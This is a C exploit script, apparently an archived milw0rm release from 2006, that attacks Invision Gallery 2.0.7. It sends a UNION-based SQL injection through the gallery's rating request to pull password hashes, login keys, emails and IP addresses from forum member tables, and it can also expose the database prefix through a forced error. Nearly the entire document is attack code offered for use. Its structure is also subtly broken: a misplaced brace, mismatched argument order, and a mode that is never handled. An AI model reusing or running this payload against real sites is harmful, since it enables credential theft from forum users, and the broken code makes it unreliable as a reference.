Invision Gallery 2.0.7 SQL injection exploit

[insanity]

Code Select Expand

/*

Invision Gallery  2.0.7  SQL injection exploit
(c)oded By Kernel-32
Contact: Kernel-32@Linuxmail.org
WebSite: http://kernel-32.blogspot.com
Greetz:  BeLa,x0r0n ;)

##########################
#        Usage:          #
##########################
[+] SQL-injection:
  - syntax
  sqlinject <host> <pathtoindex> <member_id> <prefix> <column> <table>
  getprefix <host> <pathtoindex>   // get database prefix from IPB error :)
  - params:
  <member_id> -  member's id for SQL-injection result, for example: 1
  <column>    -  ipb members' column to get. for example: ip_adress, email.
  <table>     -  ipb table to use. for example: member
  <prefix>    -  database prefix.
  - examples:
  kernel.exe sqlinject site.com index.php legacy_password ibf_ members 1 
  kernel.exe sqlinject site.com index.php member_login_key  ibf_ members 1
  kernel.exe sqlinject site.com forum/index.php ip_adress ibf_ member 5
 

[~] Music: Ahmet Kaya => Gurula Bakýyorum Dünyaya 
[~] Rebellion: Yiðitseniz Uslandýrýn Beni !

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <winsock2.h>

DWORD resolve(char *host)
{
    DWORD ret = 0;
    struct hostent * hp = gethostbyname(host);
    if (!hp) ret = inet_addr(host);
    if ((!hp)&&(ret == INADDR_NONE)) return 0;
    if (hp != NULL) memcpy((void*)&ret, hp->h_addr,hp->h_length);
    return ret;
}

int Exploit(char * sendbuffer, char * mode, char * host)
{
char recvbuffer[10024]; char * temp;
memset(recvbuffer,0,10024);

SOCKET s = socket(AF_INET,SOCK_STREAM,0);
SOCKADDR_IN webaddr;
webaddr.sin_addr.S_un.S_addr = resolve(host);
webaddr.sin_family = AF_INET;
webaddr.sin_port = htons(80);
if(connect(s, (struct sockaddr *)&webaddr,sizeof(SOCKADDR_IN))) return -1;
send(s, sendbuffer, strlen(sendbuffer),0);

int i, j;
while(i = recv(s,recvbuffer+strlen(recvbuffer),1,0))
for(int i = 0; recvbuffer[i]!=0; ++i)
{
if((recvbuffer[i]=='\r')&&(recvbuffer[i+1]=='\n')&&
(recvbuffer[i+2]=='\r')&&(recvbuffer[i+3]=='\n'))
{temp = (char*)&recvbuffer[i] + 4;break;}
}

if(strcmp(mode,"sqlinject")==0)
{
char * token = NULL; char * injected = NULL; char * parse = NULL;
    token = strtok(temp, "=");
token = strtok(NULL, "=");
token = strtok(NULL, "&");
token = strtok(NULL, "&");
for(int j = 0; j < 2; j++)
{
    token = strtok(NULL, "&");
    if(j==1){ injected = token; printf("\n [+] Exploit Result:\n\n%s", injected); }
}

} else { printf("\n[-] some error. change MODE param\n"); return 0; }
return 0;
}

int main(int argc,char * argv[])
{
WSADATA wsaData;
WSAStartup(MAKEWORD(2,2),&wsaData);

printf("\n ...............................................................\n");
        printf("           Invision Gallery 2.0.7  SQL injection exploit                   \n");
        printf("            (c)oded by Kernel-32 // Kernel-32 Security               \n");
printf("          http://kernel-32.blogspot.com                       \n");
printf("     Gr33tz: BeLa,x0r0n ;) and Turkish Firends                   \n");
printf(" ...............................................................  \n");

if (argc == 1) {

printf(" [+] SQL-injection:\n");
printf("  - syntax\n");
printf("  sqlinject <host> <pathtoindex> <member_id> <prefix> <column> <table>\n");
printf("  getprefix <host> <pathtoindex>   -- get database prefix from IPB error  \n");
printf("  - params:\n");
printf("  <member_id> -  member's id for SQL-injection result, for example: 1\n");
printf("  <column>    -  ipb members' column to get. for example: ip_adress, email.\n");
printf("  <table>     -  ipb table to use. f0r example: member\n");
printf("  <prefix>    -  database prefix. \n");
printf("  - examples:\n");
printf("  kernel.exe sqlinject site.com index.php legacy_password ibf_ members 1  \n");
printf("  kernel.exe sqlinject site.com index.php member_login_key  ibf_ members 1\n");
printf("  kernel.exe sqlinject site.com forum/index.php ip_adress ibf_ member 5\n\n");
           return 1;
               }

char * mode = argv[1];


// --- sql-injection exploit --- //
}
if(strcmp(mode,"sqlinject")==0)
{
char * host = argv[2];
char * path = argv[3];
char * prefix = argv[5];
char * column = argv[4];
char * table = argv[6];
char * id = argv[7];

char exploit[1024];
strcpy(exploit, "GET /");
strcat(exploit, path);
strcat(exploit, "?automodule=gallery&cmd=rate&img=1&rating=1&album=-1%20union%20select%201,");
strcat(exploit, column);
strcat(exploit, ",1,1,1,1,1,1,1,1%20FROM%20");
strcat(exploit, prefix);
strcat(exploit, table);
strcat(exploit, "%20WHERE%20id=");
strcat(exploit, id);
strcat(exploit, "/*31337*/");
    strcat(exploit, " HTTP/1.0\r\nHost: ");
strcat(exploit, host);
strcat(exploit, "\r\n\r\n");
    Exploit(exploit, "sqlinject", host);
}
if (strcmp(mode,"getprefix")==0)
{
char * path = argv[3];
char * host = argv[2];
char exploit[1024];
strcpy(exploit, "GET /");
strcat(exploit, path);
strcat(exploit, "?automodule=gallery&cmd=rate&img=1&rating=1&album=-1%%20Kernel32");
    strcat(exploit, " HTTP/1.0\r\nHost: ");
strcat(exploit, host);
strcat(exploit, "\r\n\r\n");
printf("\n\n\n[!] u can get database prefix from this error. example: SELECT * FROM <PREFIX>gallery_albums\n\n");
Exploit(exploit, "readfile", host);
}

WSACleanup();
return 0;
}

// milw0rm.com [2006-10-03]